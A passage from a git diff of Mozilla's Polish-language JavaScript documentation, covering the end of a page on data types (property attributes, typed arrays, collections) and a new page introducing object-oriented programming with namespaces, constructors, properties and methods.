be used as the key of an Object property (see below). In some programming languages, Symbols are called "atoms".</p> + +<p>For more details see <a href="/en-US/docs/Glossary/Symbol">Symbol</a> and the {{jsxref("Symbol")}} object wrapper in JavaScript.</p> + +<h2 id="Obiekty">Obiekty</h2> + +<p>In computer science, an object is a value in memory which is possibly referenced by an <a href="/en-US/docs/Glossary/Identifier">identifier</a>.</p> + +<h3 id="Properties">Properties</h3> + +<p>In JavaScript, objects can be seen as a collection of properties. With the <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">object literal syntax</a>, a limited set of properties are initialized; then properties can be added and removed. Property values can be values of any type, including other objects, which enables building complex data structures. Properties are identified using <em>key</em> values. A <em>key</em> value is either a String or a Symbol value.</p> + +<p>There are two types of object properties which have certain attributes: The <em>data</em> property and the <em>accessor</em> property.</p> + +<h4 id="Data_property">Data property</h4> + +<p>Associates a key with a value, and has the following attributes:</p> + +<table class="standard-table"> + <caption>Attributes of a data property</caption> + <thead> + <tr> + <th scope="col">Attribute</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + <th scope="col">Default value</th> + </tr> + </thead> + <tbody> + <tr> + <td>[[Value]]</td> + <td>Any JavaScript type</td> + <td>The value retrieved by a get access of the property.</td> + <td><code>undefined</code></td> + </tr> + <tr> + <td>[[Writable]]</td> + <td>Boolean</td> + <td>If <code>false</code>, the property's [[Value]] cannot be changed.</td> + <td><code>false</code></td> + </tr> + <tr> + <td>[[Enumerable]]</td> + <td>Boolean</td> + <td> + <p>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops.<br> + See also <a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a>.</p> + </td> + <td><code>false</code></td> + </tr> + <tr> + <td>[[Configurable]]</td> + <td>Boolean</td> + <td>If <code>false</code>, the property cannot be deleted, cannot be changed to an accessor property, and attributes other than [[Value]] and [[Writable]] cannot be changed.</td> + <td><code>false</code></td> + </tr> + </tbody> +</table> + +<table class="standard-table"> + <caption>Obsolete attributes (as of ECMAScript 3, renamed in ECMAScript 5)</caption> + <thead> + <tr> + <th scope="col">Attribute</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td>Read-only</td> + <td>Boolean</td> + <td>Reversed state of the ES5 [[Writable]] attribute.</td> + </tr> + <tr> + <td>DontEnum</td> + <td>Boolean</td> + <td>Reversed state of the ES5 [[Enumerable]] attribute.</td> + </tr> + <tr> + <td>DontDelete</td> + <td>Boolean</td> + <td>Reversed state of the ES5 [[Configurable]] attribute.</td> + </tr> + </tbody> +</table> + +<h4 id="Accessor_property">Accessor property</h4> + +<p>Associates a key with one of two accessor functions (<code>get</code> and <code>set</code>) to retrieve or store a value, and has the following attributes:</p> + +<table class="standard-table"> + <caption>Attributes of an accessor property</caption> + <thead> + <tr> + <th scope="col">Attribute</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + <th scope="col">Default value</th> + </tr> + </thead> + <tbody> + <tr> + <td>[[Get]]</td> + <td>Function object or <code>undefined</code></td> + <td>The function is called with an empty argument list and retrieves the property value whenever a get access to the value is performed.<br> + See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/get"><code>get</code></a>.</td> + <td><code>undefined</code></td> + </tr> + <tr> + <td>[[Set]]</td> + <td>Function object or <code>undefined</code></td> + <td>The function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed.<br> + See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/set"><code>set</code></a>.</td> + <td><code>undefined</code></td> + </tr> + <tr> + <td>[[Enumerable]]</td> + <td>Boolean</td> + <td>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops.</td> + <td><code>false</code></td> + </tr> + <tr> + <td>[[Configurable]]</td> + <td>Boolean</td> + <td>If <code>false</code>, the property can't be deleted and can't be changed to a data property.</td> + <td><code>false</code></td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>Note: </strong>Attribute is usually used by JavaScript engine, so you can't directly access it (see more about {{jsxref("Object.defineProperty()")}}). That's why the attribute is put in double square brackets instead of single.</p> +</div> + +<h3 id="Normal_objects_and_functions">"Normal" objects, and functions</h3> + +<p>A JavaScript object is a mapping between <em>keys</em> and <em>values</em>. Keys are strings (or {{jsxref("Symbol")}}s), and <em>values</em> can be anything. This makes objects a natural fit for <a class="external" href="http://en.wikipedia.org/wiki/Hash_table">hashmaps</a>.</p> + +<p>Functions are regular objects with the additional capability of being <em>callable</em>.</p> + +<h3 id="Dates">Dates</h3> + +<p>When representing dates, the best choice is to use the built-in <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date"><code>Date</code> utility</a> in JavaScript.</p> + +<h3 id="Indexed_collections_Arrays_and_typed_Arrays">Indexed collections: Arrays and typed Arrays</h3> + +<p><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="Array">Arrays</a> are regular objects for which there is a particular relationship between integer-key-ed properties and the <code>length</code> property.</p> + +<p>Additionally, arrays inherit from <code>Array.prototype</code>, which provides to them a handful of convenient methods to manipulate arrays. For example, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf" title="en/JavaScript/Reference/Global_Objects/Array/indexOf">indexOf</a></code> (searching a value in the array) or <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/push" title="en/JavaScript/Reference/Global_Objects/Array/push">push</a></code> (adding an element to the array), and so on. This makes Arrays a perfect candidate to represent lists or sets.</p> + +<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed Arrays</a> are new to JavaScript with ECMAScript 2015, and present an array-like view of an underlying binary data buffer. The following table helps determine the equivalent C data types:</p> + +<table class="standard-table"> + <thead> + <tr> + <th class="header" scope="col">Type</th> + <th class="header" scope="col">Value Range</th> + <th class="header" scope="col">Size in bytes</th> + <th class="header" scope="col">Description</th> + <th class="header" scope="col">Web IDL type</th> + <th class="header" scope="col">Equivalent C type</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{jsxref("Int8Array")}}</td> + <td><code>-128</code> to <code>127</code></td> + <td>1</td> + <td>8-bit two's complement signed integer</td> + <td><code>byte</code></td> + <td><code>int8_t</code></td> + </tr> + <tr> + <td>{{jsxref("Uint8Array")}}</td> + <td><code>0</code> to <code>255</code></td> + <td>1</td> + <td>8-bit unsigned integer</td> + <td><code>octet</code></td> + <td><code>uint8_t</code></td> + </tr> + <tr> + <td>{{jsxref("Uint8ClampedArray")}}</td> + <td><code>0</code> to <code>255</code></td> + <td>1</td> + <td>8-bit unsigned integer (clamped)</td> + <td><code>octet</code></td> + <td><code>uint8_t</code></td> + </tr> + <tr> + <td>{{jsxref("Int16Array")}}</td> + <td><code>-32768</code> to <code>32767</code></td> + <td>2</td> + <td>16-bit two's complement signed integer</td> + <td><code>short</code></td> + <td><code>int16_t</code></td> + </tr> + <tr> + <td>{{jsxref("Uint16Array")}}</td> + <td><code>0</code> to <code>65535</code></td> + <td>2</td> + <td>16-bit unsigned integer</td> + <td><code>unsigned short</code></td> + <td><code>uint16_t</code></td> + </tr> + <tr> + <td>{{jsxref("Int32Array")}}</td> + <td><code>-2147483648</code> to <code>2147483647</code></td> + <td>4</td> + <td>32-bit two's complement signed integer</td> + <td><code>long</code></td> + <td><code>int32_t</code></td> + </tr> + <tr> + <td>{{jsxref("Uint32Array")}}</td> + <td><code>0</code> to <code>4294967295</code></td> + <td>4</td> + <td>32-bit unsigned integer</td> + <td><code>unsigned long</code></td> + <td><code>uint32_t</code></td> + </tr> + <tr> + <td>{{jsxref("Float32Array")}}</td> + <td><code>1.2</code><span>×</span><code>10<sup>-38</sup></code> to <code>3.4</code><span>×</span><code>10<sup>38</sup></code></td> + <td>4</td> + <td>32-bit IEEE floating point number (7 significant digits e.g., <code>1.1234567</code>)</td> + <td><code>unrestricted float</code></td> + <td><code>float</code></td> + </tr> + <tr> + <td>{{jsxref("Float64Array")}}</td> + <td><code>5.0</code><span>×</span><code>10<sup>-324</sup></code> to <code>1.8</code><span>×</span><code>10<sup>308</sup></code></td> + <td>8</td> + <td>64-bit IEEE floating point number (16 significant digits e.g., <code>1.123...15</code>)</td> + <td><code>unrestricted double</code></td> + <td><code>double</code></td> + </tr> + <tr> + <td>{{jsxref("BigInt64Array")}}</td> + <td><code>-2<sup>63</sup></code> to <code>2<sup>63</sup>-1</code></td> + <td>8</td> + <td>64-bit two's complement signed integer</td> + <td><code>bigint</code></td> + <td><code>int64_t (signed long long)</code></td> + </tr> + <tr> + <td>{{jsxref("BigUint64Array")}}</td> + <td><code>0</code> to <code>2<sup>64</sup>-1</code></td> + <td>8</td> + <td>64-bit unsigned integer</td> + <td><code>bigint</code></td> + <td><code>uint64_t (unsigned long long)</code></td> + </tr> + </tbody> +</table> + +<h3 id="Keyed_collections_Maps_Sets_WeakMaps_WeakSets">Keyed collections: Maps, Sets, WeakMaps, WeakSets</h3> + +<p>These data structures, introduced in ECMAScript Edition 6, take object references as keys. {{jsxref("Set")}} and {{jsxref("WeakSet")}} represent a set of objects, while {{jsxref("Map")}} and {{jsxref("WeakMap")}} associate a value to an object.</p> + +<p>The difference between <code>Map</code>s and <code>WeakMap</code>s is that in the former, object keys can be enumerated over. This allows garbage collection optimizations in the latter case.</p> + +<p>One could implement <code>Map</code>s and <code>Set</code>s in pure ECMAScript 5. However, since objects cannot be compared (in the sense of <code><</code> "less than", for instance), look-up performance would necessarily be linear. Native implementations of them (including <code>WeakMap</code>s) can have look-up performance that is approximately logarithmic to constant time.</p> + +<p>Usually, to bind data to a DOM node, one could set properties directly on the object, or use <code>data-*</code> attributes. This has the downside that the data is available to any script running in the same context. <code>Map</code>s and <code>WeakMap</code>s make it easy to <em>privately</em> bind data to an object.</p> + +<h3 id="Structured_data_JSON">Structured data: JSON</h3> + +<p>JSON (<strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation) is a lightweight data-interchange format, derived from JavaScript, but used by many programming languages. JSON builds universal data structures.</p> + +<p>See <a href="/en-US/docs/Glossary/JSON">JSON</a> and {{jsxref("JSON")}} for more details.</p> + +<h3 id="More_objects_in_the_standard_library">More objects in the standard library</h3> + +<p>JavaScript has a standard library of built-in objects.</p> + +<p>Please have a look at the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">reference</a> to find out about more objects.</p> + +<h2 id="Określanie_typu_za_pomocą_operatora_typeof">Określanie typu za pomocą operatora <code>typeof</code></h2> + +<p>Operator <code>typeof</code> może być pomocny przy określeniu typu twojej zmiennej.</p> + +<p>Więcej szczegółów znajdziecie na stronie poświęconej operatorowi <code>typeof</code>.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td> + </tr> + </tbody> +</table> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a class="link-https" href="https://github.com/nzakas/computer-science-in-javascript/">Nicholas Zakas collection of common data structure and common algorithms in JavaScript.</a></li> + <li><a href="https://github.com/monmohan/DataStructures_In_Javascript" title="https://github.com/monmohan/DataStructures_In_Javascript">Search Tre(i)es implemented in JavaScript</a></li> +</ul> diff --git a/files/pl/web/javascript/wprowadzenie_do_programowania_obiektowego_w_jezyku_javascript/index.html b/files/pl/web/javascript/wprowadzenie_do_programowania_obiektowego_w_jezyku_javascript/index.html new file mode 100644 index 0000000000..7de2f98142 --- /dev/null +++ b/files/pl/web/javascript/wprowadzenie_do_programowania_obiektowego_w_jezyku_javascript/index.html @@ -0,0 +1,341 @@ +--- +title: Wprowadzenie do programowania obiektowego w języku JavaScript +slug: Web/JavaScript/Wprowadzenie_do_programowania_obiektowego_w_jezyku_JavaScript +translation_of: Learn/JavaScript/Objects +--- +<p>JavaScript jest zorientowany obiektowo do szpiku kości dzięki potężnym, elastycznym możliwościom realizacji OOP. <span style="line-height: 1.5;">Ten artykuł zawiera wprowadzenie do programowania obiektowego (ogółem), analizuje model obiektowy w JavaScript i w końcu demonstruje aspekty programowania obiektowego w JavaScript.</span></p> + +<h2 id="JavaScript_Review" name="JavaScript_Review">Przegląd JavaScript</h2> + +<p>Jeśli nie czujesz się pewnie w zagadnieniach dotyczących JavaScript takich, jak zmienne, typy, funkcje oraz zasięg, możesz przeczytać o nich w <a href="/en/JavaScript/A_re-introduction_to_JavaScript" title="en/JavaScript/A_re-introduction_to_JavaScript">Ponownym wprowadzeniu do JavaScript (angielski)</a>. Możesz także zasięgnąć wiedzy zawartej w <a href="/en/JavaScript/Guide" title="en/JavaScript/Guide">Core JavaScript 1.5 Guide</a>.</p> + +<h2 id="Object-oriented_programming" name="Object-oriented_programming">Programowanie zorientowane obiektowo</h2> + +<p>Programowanie zorientowane obiektowo jest paradygmatem programowania, który korzysta z abstrakcji do tworzenia modeli opartych na świecie rzeczywistym. Stosuje on kilka technik z poprzednio ustanowionych paradygmatów, np. modułowość, polimorfizm czy enkapsulację. Obecnie wiele popularnych języków programowania (takich, jak Java, JavaScript, C#, C++, Python, PHP, Ruby i Objective-C) wspierają programowanie zorientowane obiektowo (OOP - z ang. "object-oriented programming").</p> + +<p>Programowanie zorientowane obiektowo może być rozumiane jako sposób projektowania oprogramowania stosujący kolekcję powiązanych ze sobą obiektów, w przeciwieństwie do tradycyjnego punktu widzenia, gdzie program może być rozumiany jako zestaw funkcji lub, po prostu, jako lista instrukcji przekazywanych do komputera. W OOP każdy obiekt jest zdolny odbierać wiadomości, przetwarzać dane i wysyłać wiadomości do innych obiektów. Każdy obiekt może być rozumiany jako niezależna mała maszyna pełniąca odrębną rolę lub odpowiedzialność.</p> + +<p><span style="line-height: 1.5;">Programowanie obiektowe ma na celu promować większą elastyczność i łatwość rozwoju w programowaniu. Jest ono bardzo popularne przy tworzeniu oprogramowania na dużą skalę. Dzięki silnemu naciskowi na modułowość, kod programu zorientowany obiektowo jest łatwiejszy do napisania i późniejszego zrozumienia, stając się łatwiejszym do bezpośredniej analizy, kodowania i rozumienia złożonych sytuacji i procedur niż mniej modułowe metody programowania.</span><sup><a href="#References">2</a></sup></p> + +<h2 id="Terminology" name="Terminology">Terminologia</h2> + +<dl> + <dt>Przestrzeń nazw (ang. "namespace")</dt> + <dd>Przestrzeń pozwalająca programiście na zawarcie wszystkich funkcjonalności pod unikalną nazwą, właściwą dla danej aplikacji.</dd> + <dt>Klasa (ang. "class")</dt> + <dd>Definiuje własności obiektu.</dd> + <dt>Obiekt (ang. "object")</dt> + <dd>Instancja (byt, twór) klasy.</dd> + <dt>Właściwość (ang. "property")</dt> + <dd>Własność obiektu, np. kolor.</dd> + <dt>Metoda (ang. "method")</dt> + <dd>Zdolność (czynność) obiektu, np. chodzenie (idź).</dd> + <dt>Konstruktor (ang. "constructor")</dt> + <dd>Metoda wywoływana w momencie inicjalizacji obiektu.</dd> + <dt>Dziedziczenie (ang. "inheritance")</dt> + <dd>Klasa może dziedziczyć własności od innej klasy.</dd> + <dt>Hermetyzacja (lub enkapsulacja - ang. "encapsulation")</dt> + <dd>Klasa definiuje tylko własności obiektu, podczas gdy metoda definiuje tylko sposób realizacji.</dd> + <dt>Abstrakcja (ang. "abstraction")</dt> + <dd>Koniunkcja złożonego dziedziczenia, metod, właściwości obiektu musi dobrze oddawać model rzeczywistości.</dd> + <dt>Polimorfizm (ang. "polymorphism")</dt> + <dd><em>Poli </em>znaczy "wiele", a <em>morfizm</em> oznacza "formy". Różne klasy mogą definiować takie same metody albo właściwości.</dd> +</dl> + +<p>Bardziej obszerną definicję programowania obiektowego można znaleźć w <a href="http://pl.wikipedia.org/wiki/Programowanie_obiektowe">Programowaniu obiektowym</a> na Wikipedii.</p> + +<h2 id="Programowanie_oparte_na_prototypie">Programowanie oparte na prototypie</h2> + +<p>Programowanie prototypowe jest stylem programowania obiektowego, w którym klasy nie są obecne, a ponowne wykorzystanie zachowań (w językach opartych na klasach znane jako dziedziczenie) jest realizowane przez proces dekoracji istniejących obiektów, które służą jako prototypy. Ten model jest znany również jako programowanie "bezklasowe", "zorientowane prototypowo" lub "oparte na instancji".</p> + +<p>Oryginalnym (i najbardziej kanonicznym) przykładem języka opartego na prototypie jest język programowaina Self stworzony przez Davida Ungara i Randalla Smitha. Niemniej jednak, programowanie w stylu bezklasowym stało się ostatnimi czasy bardzo popularne i zostało zaimplementowane w takich językach, jak Javascript, Cecil, NewtonScript, Io, MOO, REBOL, Kevo, Squeak (podczas używania frameworka Viewer do manipulacji komponentami Morphic) i kilku innych.<sup><a href="#Reference">2</a></sup></p> + +<h2 id="JavaScript_Object_Oriented_Programming" name="JavaScript_Object_Oriented_Programming">OOP w języku JavaScript</h2> + +<h3 id="Przestrzeń_nazw">Przestrzeń nazw</h3> + +<p>Przestrzeń nazw jest pojemnikiem pozwalającym programiście na zawarcie wszystkich funkcjonalności pod unikalną nazwą, właściwą dla danej aplikacji. W JavaScript przestrzeń nazw jest po prostu obiektem przechowującym metody, właściwości i inne obiekty. Cel przyświecający przestrzeniom nazw w JavaScript jest prosty: utworzony zostaje jeden globalny obiekt, a wszystkie zmienne, metody i funkcje stają się właściwościami tego obiektu. Użycie przestrzeni nazw zmniejsza również ryzyko kolizji nazw w aplikacji.</p> + +<p>Obiekt jest przestrzenią nazw:<br> + <br> + Stwórzmy globalny obiekt o nazwie MYAPP</p> + +<pre class="brush: js">// globalna przestrzeń nazw +var MYAPP = MYAPP || {};</pre> + +<p><span style="background-color: #ffffff; color: #4d4e53; font-style: normal; line-height: 1.5;">W powyższym przykładzie najpierw sprawdzamy czy MYAPP jest już zdefiniowany w tym samym lub innym pliku. Jeśli tak, używamy istniejącego globalnego obiektu MYAPP. W przeciwnym razie tworzymy pusty obiekt MYAPP, który zenkapsuluje metody, funkcje, zmienne i obiekty.</span></p> + +<p>Możemy również utworzyć podrzędną przestrzeń nazw:</p> + +<pre class="brush: js">// pod-przestrzeń nazw +MYAPP.event = {};</pre> + +<p>Poniżej znajduje się kod tworzący przestrzeń nazw i dodający zmienne, funkcje i metody:</p> + +<pre class="brush: js">// Utwórz pojemnik MYAPP.commonMethod na typowe metody i właściwości +MYAPP.commonMethod = { + regExForName: "", // zdefiniuj wyrażenie regularne do walidacji nazwiska + regExForPhone: "", // <span style="font-size: 1rem;">zdefiniuj wyrażenie regularne do walidacji numeru telefonu</span> + validateName: function(name){ + // Zrób coś z nazwiskiem. Możesz użyć zmiennej regExForName + // użycie "this.regExForName" + }, + + validatePhoneNo: function(phoneNo){ + // zrób coś z numerem telefonu + } +} + +// Obiekt razem z deklaracją metod +MYAPP.event = { + addListener: function(el, type, fn) { + // jakiś kod + }, + removeListener: function(el, type, fn) { + // jakiś kod + }, + getEvent: function(e) { + // jakiś kod + } + + // Można dodać kolejne metody i właściwości +} + +// Składnia do użycia metody AddListener: +MYAPP.event.addListener("yourel", "type", callback);</pre> + +<h3 id="Core_Objects" name="Core_Objects">Obiekty wbudowane</h3> + +<p>JavaScript posiada kilka obiektów wbudowanych, na przykład Math, Object, Array, i String. Poniższy przykład pokazuje, jak użyć obiektu Math do pobrania pseudo-losowej liczby używając metody <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">random()</span><span style="line-height: 1.5;">.</span></p> + +<pre class="brush: js">alert(Math.random()); +</pre> + +<div class="note"><strong>Notka:</strong> Ten i wszystkie dalsze przykłady zakładają, że istnieje funkcja globalna <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">alert</span><span style="line-height: 1.5;"> (taka, jak ta zaimplementowana w przeglądarkach internetowych). Tak naprawdę funkcja </span><span style="font-family: 'Courier New','Andale Mono',monospace;">alert</span><span style="line-height: 1.5;"> nie jest częścią języka JavaScript.</span></div> + +<p>Artykuł <a href="/En/Core_JavaScript_1.5_Reference/Global_Objects" title="En/Core_JavaScript_1.5_Reference/Global_Objects">Core JavaScript 1.5 Reference:Global Objects</a> zawiera listę wszystkich obiektów wbudowanych w JavaScript.</p> + +<p>Każdy obiekt w JavaScript jest instancją obiektu <span style="font-family: 'Courier New','Andale Mono',monospace;">Object</span> i tym samym dziedziczy jego wszystkie właściwości i metody.</p> + +<h3 id="Custom_Objects" name="Custom_Objects">Własne obiekty</h3> + +<h4 id="The_Class" name="The_Class">Klasa</h4> + +<p>JavaScript jest językiem opartym na prototypie, w którym nie występuje pojęcie klasy, w przeciwieństwie do języków takich, jak C++ czy Java. Fakt ten bywa dezorientujący dla programistów przyzwyczajonych do języków z pojęciem klasy. Zamiast klas, JavaScript stosuje funkcje. Zdefiniowanie klasy ogranicza się do prostej czynności, jaką jest zdefiniowanie funkcji. W poniższym przykładzie definiujemy nową klasę Person.</p> + +<pre class="brush: js">function Person() { } +or +var Person = function(){ } +</pre> + +<h4 id="The_Object_.28Class_Instance.29" name="The_Object_.28Class_Instance.29">Obiekt (instancja klasy)</h4> + +<p>Żeby utworzyć nową instancję obiektu <em>obj</em>, używamy wyrażenia <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">new </span><em>obj</em><span style="line-height: 1.5;">, przypisując jego wynik (który jest typu </span><em>obj</em><span style="line-height: 1.5;">) do zmiennej, żeby później mieć do niego dostęp.</span></p> + +<p>W poniższym przykładzie definiujemy klasę Person i tworzymy dwie instancje (person1 i person2).</p> + +<pre class="brush: js">function Person() { } +var person1 = new Person(); +var person2 = new Person(); +</pre> + +<div class="note">Zobacz również <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="Object.create">Object.create</a>, który jest nową metodą instancjalizacji.</div> + +<h4 id="The_Constructor" name="The_Constructor">Konstruktor</h4> + +<p>Konstruktor jest wywoływany w momencie instancjalizacji (moment, w którym instancja obiektu zostaje utworzona). Konstruktor jest metodą klasy. W JavaScript, funkcja służy za konstruktor obiektu. Nie ma jednak wyraźnej potrzeby definiowania konstruktora. Każda akcja zadeklarowana w konstruktorze zostanie wykonana w momencie utworzenia obiektu.</p> + +<p>Konstruktor jest używany do ustawienia właściwości obiektu lub do wywołania metod przygotowujących obiekt do użytku.</p> + +<p>W poniższym przykładzie konstruktor klasy Person wyświetla ostrzeżenie w momencie kiedy Person zostaje utworzony.</p> + +<pre class="brush: js">function Person() { + alert('Person został utworzony'); +} + +var person1 = new Person(); +var person2 = new Person(); +</pre> + +<h4 id="The_Property_.28object_attribute.29" name="The_Property_.28object_attribute.29">Właściwość (atrybut obiektu)</h4> + +<p>Właściwości są zmiennymi zawartymi wewnątrz klasy. Każda instancja obiektu posiada te właściwości. Właściwości powinny być ustawiane we właściwości prototype klasy (funkcji), dzięki czemu dziedziczenie zadziała prawidłowo.</p> + +<p>Dostęp do właściwości z wnętrza klasy odbywa się za pomocą słowa kluczowego <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">this</span><span style="line-height: 1.5;">, które odnosi się do aktualnego obiektu. Dostęp (odczyt lub zapis) do właściwości poza klasą odbywa się za pomocą składni: NazwaInstancji.Wlasciwosc; jest to taka sama składnia, jak w językach C++, Java i szeregu innych języków.</span></p> + +<p>W poniższym przykładzie definiujemy właściwość <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">firstName</span><span style="line-height: 1.5;"> dla klasy </span><span style="font-family: 'Courier New','Andale Mono',monospace;">Person</span><span style="line-height: 1.5;"> i robimy to w momencie utworzenia obiektu.</span></p> + +<pre class="brush: js">function Person(firstName) { + this.firstName = firstName; + alert('Person instantiated'); +} + +var person1 = new Person('Alice'); +var person2 = new Person('Bob'); + +// Pokaż właściwości firstName obiektów +alert('person1 nazywa się ' + person1.firstName); // komunikat "person1 nazywa się Alice" +alert('person2 nazywa się ' + person2.firstName); // komunikat "person2 nazywa się Bob" +</pre> + +<h4 id="The_methods" name="The_methods">Metody</h4> + +<p>Metody opierają się na tej samej logice, co właściwości; różnica polega na tym, że są one funkcjami i definiuje się je jak funkcje. Wywołanie metody wygląda podobnie do wywołania właściwości, z tym, że dodajemy ( ) na końcu nazwy metody, czasami z argumentami. Żeby zdefiniować metodę, przypisujemy funkcję do jakiejś właściwości obiektu <span style="font-family: 'Courier New','Andale Mono',monospace;">prototype</span> klasy; nazwa właściwości staje się nazwą metody, po jakiej wywołamy ją na obiekcie.</p> + +<p>W poniższym przykładzie definiujemy i używamy metodę <span style="font-family: 'Courier New','Andale Mono',monospace;">sayHello()</span> dla klasy Person.</p> + +<pre class="brush: js">function Person(firstName) { + this.firstName = firstName; +} + +Person.prototype.sayHello = function() { + alert("Hello, I'm " + this.firstName); +}; + +var person1 = new Person("Alice"); +var person2 = new Person("Bob"); + +// wywołanie metody sayHello klasy Person +person1.sayHello(); // komunikat "Hello, I'm Alice" +person2.sayHello(); // komunikat "Hello, I'm Bob" +</pre> + +<p>W JavaScript metody to zwykłe funkcje, które są przypisane do obiektu jako jego właściwości, dzięki czemu mogą być wywoływane w jego kontekście. Przyjrzyj się natępującemu przykładowi kodu:</p> + +<pre class="brush: js">function Person(firstName) { + this.firstName = firstName; +} + +Person.prototype.sayHello = function() { + alert("Hello, I'm " + this.firstName); +}; + +var person1 = new Person("Alice"); +var person2 = new Person("Bob"); +var helloFunction = person1.sayHello; + +person1.sayHello(); // komunikat "Hello, I'm Alice" +person2.sayHello(); // <span style="font-size: 1rem;">komunikat</span><span style="font-size: 1rem;"> "Hello, I'm Bob"</span> +helloFunction(); // <span style="font-size: 1rem;">komunikat</span><span style="font-size: 1rem;"> "Hello, I'm undefined" (lub niepowodzenie</span> + // wyświetlające TypeError w trybie strict) +alert(helloFunction === person1.sayHello); // <span style="font-size: 1rem;">komunikat</span><span style="font-size: 1rem;"> true</span> +alert(helloFunction === Person.prototype.sayHello); // <span style="font-size: 1rem;">komunikat</span><span style="font-size: 1rem;"> true</span> +helloFunction.call(person1); // <span style="font-size: 1rem;">komunikat</span><span style="font-size: 1rem;"> "Hello, I'm Alice"</span> +</pre> + +<p>Jak pokazuje powyższy przykład, wszystkie odniesienia do funkcji <span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">sayHello </span><span style="line-height: 1.5;">—</span><span style="line-height: 1.5;"> to w obiekcie person1, w </span><code style="font-style: normal; line-height: 1.5;">Person.prototype</code><span style="line-height: 1.5;">, w </span><code style="font-style: normal; line-height: 1.5;">helloFunction</code><span style="line-height: 1.5;">variable, itd. — dotyczą tej <em>samej funkcji</em>. W trakcie wywołania funkcji, wartość </span><span style="font-family: 'Courier New','Andale Mono',monospace;">this</span><span style="line-height: 1.5;"> zależy od tego, jak ją wywołamy. W typowym przypadku, gdzie wywołujemy funkcję jako metodę obiektu </span><span style="line-height: 1.5;">— </span><code style="font-style: normal; line-height: 1.5;">person1.sayHello()</code><span style="line-height: 1.5;"> — </span><code style="font-style: normal; line-height: 1.5;">this</code><span style="line-height: 1.5;"> odnosi się do obiektu, z którego funkcja pochodzi (person1), stąd </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">person1.sayHello()</span><span style="line-height: 1.5;"> używa nazwy "Alice", a </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">person2.sayHello() </span><span style="line-height: 1.5;">używa nazwy "Bob". Natomiast wywołanie funkcji ze zmiennej </span><span style="line-height: 1.5;">— </span><code style="font-style: normal; line-height: 1.5;">helloFunction()</code><span style="line-height: 1.5;"> —</span><span style="line-height: 1.5;"> ustawia </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">this</span><span style="line-height: 1.5;"> na obiekt globalny (</span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">window</span><span style="line-height: 1.5;"> w przypadku przeglądarek). Ponieważ ten obiekt najprawdopodobniej nie posiada właściwości </span><span style="font-family: 'Courier New','Andale Mono',monospace; line-height: 1.5;">firstName</span><span style="line-height: 1.5;">, ostatecznie otrzymujemy komunikat "Hello, I'm undefined". (Tak będzie w trybie loose; byłoby inaczej [błąd] w <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">trybie strict</a>, ale nie będziemy go tutaj opisywać, żeby nie wprowadzać zamieszania). Możemy też ustawić </span><span style="font-family: 'Courier New','Andale Mono',monospace;">this</span><span style="line-height: 1.5;"> wedle uznania, używając funkcji </span><span style="font-family: 'Courier New','Andale Mono',monospace;">call</span><span style="line-height: 1.5;"> (lub </span><span style="font-family: 'Courier New','Andale Mono',monospace;">apply</span><span style="line-height: 1.5;">), tak jak pokazuje ostatni przykład.</span></p> + +<div class="note">Więcej na temat <span style="font-family: 'Courier New','Andale Mono',monospace;">this</span> w <a href="/en/JavaScript/Reference/Global_Objects/Function/call" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/call">Function#call</a> oraz <a href="/en/JavaScript/Reference/Global_Objects/Function/apply" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/apply">Function#apply</a></div> + +<h4 id="Inheritance" name="Inheritance">Dziedziczenie</h4> + +<p>Dziedziczenie jest sposobem na stworzenie klasy jako specjalistycznej wersji jednej lub większej ilości klas (<em>JavaScript wspiera tylko dziedziczenie pojedyncze</em>). Taka wyspecjalizowana klasa jest często nazywana <em>dzieckiem</em>, natomiast ta druga — <em>rodzicem</em>. W JavaScript osiąga się to poprzez przypisanie klasy rodzica do klasy dziecka, a następnie wyspecjalizowaniu jej. W nowoczesnych przeglądarkach można również użyć <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create">Object.create</a> 